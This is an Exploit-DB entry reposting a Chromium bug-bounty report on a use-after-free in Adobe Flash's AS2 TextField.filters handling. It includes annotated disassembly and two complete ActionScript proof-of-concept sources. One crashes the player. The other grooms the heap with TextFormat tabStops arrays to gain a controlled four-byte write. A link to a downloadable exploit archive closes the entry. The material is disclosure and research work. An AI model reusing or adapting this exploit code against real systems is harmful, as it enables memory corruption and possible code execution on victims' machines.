Adobe Flash AS2 - textfield.filters Use-After-Free (2)

EDB-ID:

37848


Author:

bilou

Type:

dos


Platform:

Windows

Date:

2015-08-19


Source: https://code.google.com/p/google-security-research/issues/detail?id=342&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for https://code.google.com/p/chromium/issues/detail?id=480496]

Credit is to bilou, working with the Chromium Vulnerability Rewards Program.

---
VULNERABILITY DETAILS
A little bug while setting the TextFilter.filters array.
Chrome 42.0.2311.90 with Flash 17.0.0.169

VERSION
Chrome Version: 42.0.2311.90 Stable with Flash 17.0.0.169
Operating System: [Win 7 SP1]

REPRODUCTION CASE
We can set the TextFilter.filters array with either an array or a custom object. Providing an object allows an attacker to execute AS2 code in the following loop (these lines come from flashplayer17_sa.exe 17.0.0.169):

.text:004D6964 loc_4D6964:
.text:004D6964                 and     eax, 0FFFFFFF8h
.text:004D6967                 push    edi
.text:004D6968                 mov     edi, eax
.text:004D696A                 mov     ecx, edi
.text:004D696C                 xor     esi, esi
.text:004D696E                 call    xAS2_getArrayLength   ; here we can override object.length and execute some code
.text:004D6973                 test    eax, eax              ; if that code frees the object pointed by ebx...
.text:004D6975                 jle     short loc_4D69A3
.text:004D6977
.text:004D6977 loc_4D6977:
.text:004D6977                 push    edi
.text:004D6978                 mov     ecx, esi
.text:004D697A                 call    sub_4D3FE0            ; get an item from the object
.text:004D697F                 add     esp, 4
.text:004D6982                 test    eax, eax              ; we have either a filter or 0 here
.text:004D6984                 jz      short loc_4D6997
.text:004D6986                 mov     edx, [eax]
.text:004D6988                 mov     ecx, eax
.text:004D698A                 mov     eax, [edx+18h]
.text:004D698D                 call    eax
.text:004D698F                 push    eax
.text:004D6990                 mov     ecx, ebx              ; ...we get a use after free here
.text:004D6992                 call    sub_4CDB70            ; and a write-4 condition here
.text:004D6997
.text:004D6997 loc_4D6997:
.text:004D6997                 mov     ecx, edi
.text:004D6999                 inc     esi
.text:004D699A                 call    xAS2_getArrayLength
.text:004D699F                 cmp     esi, eax
.text:004D69A1                 jl      short loc_4D6977



Freeing the object pointed by ebx is easy indeed:
var tfield:TextField = createTextField("tf",1,1,2,3,4)  //create a TextField at depth 1
tfield.filters = []   //create the targeted object
createTextField("textf",1,1,2,3,4)   //create again a TextField (or any other DisplayObject) at the same depth and Flash frees the targeted object

flash_as2_filters_uaf_write4_poc.swf just crashes the program and flash_as2_filters_uaf_write4.swf crashes while writing to 0x41424344

***************************************************************************
Content of flash_as2_filters_uaf_write4_poc.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
//It's because Flash CS5.5 does not allow naming a property with a numeral

import flash.filters.GlowFilter;

var tfield:TextField = createTextField("tf",1,1,2,3,4)

function f() {
	_global.mc.createTextField("tf",1,1,2,3,4)
}

_global.mc = this
_global.counter = 0

var oCounter:Object = new Object()
oCounter.valueOf = function () {
	_global.counter += 1
	if (_global.counter == 1) f()
	return 10;
}

var o = {length:oCounter, 3:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o

***************************************************************************
Content of flash_as2_filters_uaf_write4.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "3"
//It's because Flash CS5.5 does not allow naming a property with a numeral

import flash.filters.GlowFilter;


var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
	a2[i] = 0x41424344
}
a2[3] = 0
a2[0x324/4] = 0x41414100
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100

for (var i = 0; i<0x200;i++) {
	var tf:TextFormat = new TextFormat()
	a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
	a1[i].tabStops = a2
}


var tfield:TextField = createTextField("tf",1,1,2,3,4)

function f() {
	_global.mc.createTextField("tf",1,1,2,3,4)
	for (var i = 0x100; i<0x200;i++) {
		_global.a1[i].tabStops = _global.a2
	}
}

_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2

var oCounter:Object = new Object()
oCounter.valueOf = function () {
	_global.counter += 1
	if (_global.counter == 1) f()
	return 10;
}

var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}


tfield.filters = o
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37848.zip